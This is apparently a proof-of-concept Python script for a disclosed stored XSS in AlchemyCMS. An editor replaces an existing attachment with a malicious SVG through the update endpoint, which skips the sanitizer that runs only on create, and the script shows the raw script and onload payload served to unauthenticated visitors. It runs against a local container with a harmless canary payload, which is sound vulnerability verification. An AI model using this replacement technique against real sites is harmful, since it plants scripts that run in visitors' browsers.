#!/usr/bin/env python3
"""
Dynamic PoC for VULN-001 - Stored XSS via unsanitized SVG attachment replacement
(AlchemyCMS, CWE-79).

Root cause under test:
  app/models/alchemy/storage_adapter/active_storage.rb registers the SVG
  sanitizer (SanitizeSvgJob) only as `after_create_commit`. The admin
  attachments `update` action (app/controllers/alchemy/admin/attachments_controller.rb)
  replaces the attached file via `@attachment.update(attachment_attributes)`,
  which never re-triggers a create callback. A malicious SVG uploaded via
  *replacement* therefore reaches the public `/attachment/:id/show` route
  (app/controllers/alchemy/attachments_controller.rb) completely unsanitized.

This script proves the gap dynamically, against a live container running the
unmodified AlchemyCMS dummy app (spec/dummy), over real HTTP on 127.0.0.1:

  1. Logs in as a low-privileged "editor" role account (real Devise session).
  2. Control group: creates a brand-new attachment directly from a malicious
     SVG via the real `create` endpoint, and shows the sanitizer DOES fire
     (job log line + stripped payload on the public show route).
  3. Exploit: PATCH-replaces a pre-existing, benign attachment with the same
     malicious SVG via the real `update` endpoint, and shows the sanitizer
     job is never enqueued, and the public, *unauthenticated* show route
     streams the raw <script>/onload payload back byte-for-byte.

Only 127.0.0.1 is contacted. No external services are touched.
"""

import argparse
import json
import re
import subprocess
import sys
import time
import uuid

import requests

XSS_MARKER = "vuln001-canary-" + uuid.uuid4().hex[:8]

MALICIOUS_SVG_TEMPLATE = """<svg xmlns="http://www.w3.org/2000/svg" onload="window.{marker}=1">
<script>window.{marker}_script=1;</script>
</svg>
"""

CSRF_META_RE = re.compile(r'<meta name="csrf-token" content="([^"]+)"')
AUTH_TOKEN_RE = re.compile(r'name="authenticity_token"\s+value="([^"]+)"')


def log(msg):
    print(f"[poc] {msg}", flush=True)


def docker_exec(container, bash_command, timeout=120):
    result = subprocess.run(
        ["docker", "exec", container, "bash", "-lc", bash_command],
        capture_output=True,
        text=True,
        timeout=timeout,
    )
    return result.returncode, result.stdout, result.stderr


RUNNER_START = "===RUNNER_OUTPUT_START==="
RUNNER_END = "===RUNNER_OUTPUT_END==="
RUNNER_RE = re.compile(re.escape(RUNNER_START) + r"(.*?)" + re.escape(RUNNER_END), re.DOTALL)


def rails_runner(container, ruby_expr, timeout=90):
    # The dev-mode file watcher (Listen) prints startup noise on stdout on every
    # boot, so wrap the real value in unmistakable markers before extracting it.
    wrapped = f'print("{RUNNER_START}"); print(({ruby_expr}).to_s); print("{RUNNER_END}")'
    code, out, err = docker_exec(
        container,
        f"cd spec/dummy && bin/rails runner {json.dumps(wrapped)}",
        timeout=timeout,
    )
    if code != 0:
        raise RuntimeError(f"rails runner failed (exit {code}): {err}")
    m = RUNNER_RE.search(out)
    if not m:
        raise RuntimeError(f"could not find runner output markers in: {out!r}")
    return m.group(1).strip()


def development_log(container):
    code, out, err = docker_exec(container, "cat spec/dummy/log/development.log 2>/dev/null || true")
    return out


def wait_for_server(base_url, timeout=300):
    deadline = time.time() + timeout
    last_err = None
    while time.time() < deadline:
        try:
            r = requests.get(f"{base_url}/admin/login", timeout=5)
            if r.status_code in (200, 302):
                log(f"server is up (GET /admin/login -> {r.status_code})")
                return
        except requests.exceptions.RequestException as exc:
            last_err = exc
        time.sleep(2)
    raise RuntimeError(f"server never became ready at {base_url}: {last_err}")


def login(session, base_url, login_name, password):
    r = session.get(f"{base_url}/admin/login")
    m = AUTH_TOKEN_RE.search(r.text)
    if not m:
        raise RuntimeError("could not find authenticity_token on /admin/login form")
    token = m.group(1)

    r = session.post(
        f"{base_url}/admin/login",
        data={
            "authenticity_token": token,
            "user[login]": login_name,
            "user[password]": password,
            "user[remember_me]": "0",
        },
    )
    check = session.get(f"{base_url}/admin/attachments")
    if check.status_code != 200 or "/admin/login" in check.url:
        raise RuntimeError(
            f"login as '{login_name}' failed (post status={r.status_code}, "
            f"check status={check.status_code}, final url={check.url})"
        )
    log(f"authenticated as editor account '{login_name}' (session cookie established)")
    return check.text


def fetch_csrf_token(session, base_url):
    r = session.get(f"{base_url}/admin/attachments")
    m = CSRF_META_RE.search(r.text)
    if not m:
        raise RuntimeError("could not find csrf-token meta tag on /admin/attachments")
    return m.group(1)


def poll_for_log_line(container, needle, since_len, timeout=30):
    deadline = time.time() + timeout
    while time.time() < deadline:
        full = development_log(container)
        chunk = full[since_len:]
        if needle in chunk:
            return chunk
        time.sleep(1)
    return development_log(container)[since_len:]


def assert_true(condition, message):
    if not condition:
        raise AssertionError(message)
    log(f"OK: {message}")


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--container", default="alchemy-vuln001")
    parser.add_argument("--login", default="editor")
    parser.add_argument("--password", default="EditorPass123!")
    parser.add_argument("--startup-timeout", type=int, default=300)
    args = parser.parse_args()

    evidence = {}
    malicious_svg = MALICIOUS_SVG_TEMPLATE.format(marker=XSS_MARKER)

    wait_for_server(args.base_url, timeout=args.startup_timeout)

    editor_session = requests.Session()
    login(editor_session, args.base_url, args.login, args.password)

    # ------------------------------------------------------------------
    # Control group: SVG uploaded via the CREATE action IS sanitized.
    # ------------------------------------------------------------------
    log("=== control group: create a new attachment directly from a malicious SVG ===")
    control_name = f"control-svg-{uuid.uuid4().hex[:8]}"
    csrf = fetch_csrf_token(editor_session, args.base_url)
    log_len_before_create = len(development_log(args.container))

    r = editor_session.post(
        f"{args.base_url}/admin/attachments",
        data={"attachment[name]": control_name},
        files={"attachment[file]": ("control.svg", malicious_svg, "image/svg+xml")},
        headers={"X-CSRF-Token": csrf},
    )
    assert_true(r.status_code == 201, f"control create returns 201 (got {r.status_code}, body={r.text[:300]})")
    evidence["control_create_status"] = r.status_code
    evidence["control_create_body"] = r.text[:300]

    control_id = rails_runner(
        args.container,
        f"Alchemy::Attachment.find_by(name: {json.dumps(control_name)})&.id",
    )
    assert_true(control_id.isdigit(), f"control attachment row exists in DB (id={control_id!r})")
    control_id = int(control_id)

    perform_chunk = poll_for_log_line(
        args.container,
        "Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob",
        log_len_before_create,
        timeout=30,
    )
    assert_true(
        "Enqueued Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob" in perform_chunk,
        "create path ENQUEUES SanitizeSvgJob (after_create_commit callback fires)",
    )
    assert_true(
        "Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob" in perform_chunk,
        "create path's SanitizeSvgJob actually completes",
    )
    evidence["control_job_log_excerpt"] = perform_chunk.strip()[-1500:]

    control_show = requests.get(f"{args.base_url}/attachment/{control_id}/show/control.svg", timeout=15)
    assert_true(control_show.status_code == 200, f"control public show returns 200 (got {control_show.status_code})")
    assert_true(
        "<script" not in control_show.text and "onload=" not in control_show.text,
        "control (create-path) SVG IS sanitized before being served publicly",
    )
    evidence["control_show_status"] = control_show.status_code
    evidence["control_show_content_type"] = control_show.headers.get("Content-Type")
    evidence["control_show_body_sample"] = control_show.text[:400]

    # ------------------------------------------------------------------
    # Exploit: SVG uploaded via the UPDATE (replace) action is NOT
    # sanitized, and is streamed inline to an unauthenticated viewer.
    # ------------------------------------------------------------------
    log("=== exploit: replace a pre-existing benign attachment with the malicious SVG ===")
    victim_id = rails_runner(args.container, "Alchemy::Attachment.find_by(name: 'victim-doc')&.id")
    assert_true(victim_id.isdigit(), f"pre-existing victim attachment fixture exists (id={victim_id!r})")
    victim_id = int(victim_id)

    baseline_show = requests.get(f"{args.base_url}/attachment/{victim_id}/show/victim-doc.txt", timeout=15)
    assert_true(
        "<script" not in baseline_show.text and XSS_MARKER not in baseline_show.text,
        "victim attachment is benign BEFORE the attack (sanity check)",
    )

    csrf = fetch_csrf_token(editor_session, args.base_url)
    log_len_before_update = len(development_log(args.container))

    r = editor_session.patch(
        f"{args.base_url}/admin/attachments/{victim_id}",
        files={"attachment[file]": ("update.svg", malicious_svg, "image/svg+xml")},
        headers={"X-CSRF-Token": csrf},
    )
    assert_true(r.status_code == 202, f"malicious update returns 202 (got {r.status_code}, body={r.text[:300]})")
    evidence["exploit_update_status"] = r.status_code
    evidence["exploit_update_body"] = r.text[:300]

    # Give any (hypothetically) enqueued job a fair chance to run before we
    # declare it absent - the async adapter runs on a background thread pool.
    time.sleep(5)
    update_chunk = development_log(args.container)[log_len_before_update:]
    evidence["exploit_request_log_excerpt"] = update_chunk.strip()[-2000:]

    assert_true(
        f'PATCH "/admin/attachments/{victim_id}"' in update_chunk,
        "the PATCH request actually reached AttachmentsController#update (log correlation)",
    )
    assert_true(
        "SanitizeSvgJob" not in update_chunk,
        "update path NEVER enqueues/performs SanitizeSvgJob (missing after_create_commit-only callback)",
    )

    anon = requests.Session()  # no cookies at all - the "victim" browser
    victim_show = anon.get(f"{args.base_url}/attachment/{victim_id}/show/update.svg", timeout=15)
    assert_true(
        victim_show.status_code == 200,
        f"unauthenticated GET /attachment/{victim_id}/show succeeds (got {victim_show.status_code})",
    )
    assert_true(
        "image/svg+xml" in victim_show.headers.get("Content-Type", ""),
        f"served Content-Type is image/svg+xml (got {victim_show.headers.get('Content-Type')})",
    )
    assert_true(
        "inline" in victim_show.headers.get("Content-Disposition", ""),
        f"served Content-Disposition is inline (got {victim_show.headers.get('Content-Disposition')})",
    )
    assert_true("<script" in victim_show.text, "raw <script> tag survives unsanitized in the served body")
    assert_true(f"onload=\"window.{XSS_MARKER}=1\"" in victim_show.text, "raw onload= handler survives unsanitized")
    assert_true(XSS_MARKER in victim_show.text, "attacker-chosen canary marker is present verbatim in the response")

    evidence["exploit_show_status"] = victim_show.status_code
    evidence["exploit_show_content_type"] = victim_show.headers.get("Content-Type")
    evidence["exploit_show_content_disposition"] = victim_show.headers.get("Content-Disposition")
    evidence["exploit_show_body"] = victim_show.text

    print("\n=== VULN-001 PoC RESULT: EXPLOIT CONFIRMED ===")
    print(json.dumps(evidence, indent=2))
    return 0


if __name__ == "__main__":
    try:
        sys.exit(main())
    except AssertionError as exc:
        print(f"\n=== VULN-001 PoC RESULT: FAILED ASSERTION ===\n{exc}", file=sys.stderr)
        sys.exit(1)
    except Exception as exc:  # noqa: BLE001 - top-level PoC error reporting
        print(f"\n=== VULN-001 PoC RESULT: ERROR ===\n{exc!r}", file=sys.stderr)
        sys.exit(2)